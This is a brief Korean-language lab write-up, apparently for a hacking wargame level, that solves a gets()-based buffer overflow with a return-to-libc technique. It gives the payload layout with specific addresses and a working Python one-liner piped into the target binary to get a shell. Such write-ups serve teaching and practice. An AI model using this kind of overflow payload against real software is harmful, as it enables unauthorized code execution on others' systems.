#include <stdio.h>
#include <stdlib.h>
코드를 보면 level11 과 비슷하다. level11 은 프로그램 실행시 인자값으로 받았다면 level12는 gets 로 실행 도중 입력을 받는다. 따라서 payload를 어떻게 입력하는지 알아가기 위한 문제인거 같다.
level12 또한 시스템 함수를 넣어야한다.
[그림 1-2] 참조하면 [그림 1-3]을 그릴 수 있다.
RTL 기법으로 문제를 풀어보자
[그림 1-4] , [그림 1-5]를 참조하면 payload 는 "A" * 268 + 0x4203f2c0 + AAAA + 0x42127ea4 이다.
(python -c 'print("A"*268+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42")';cat) | ./attackme
성공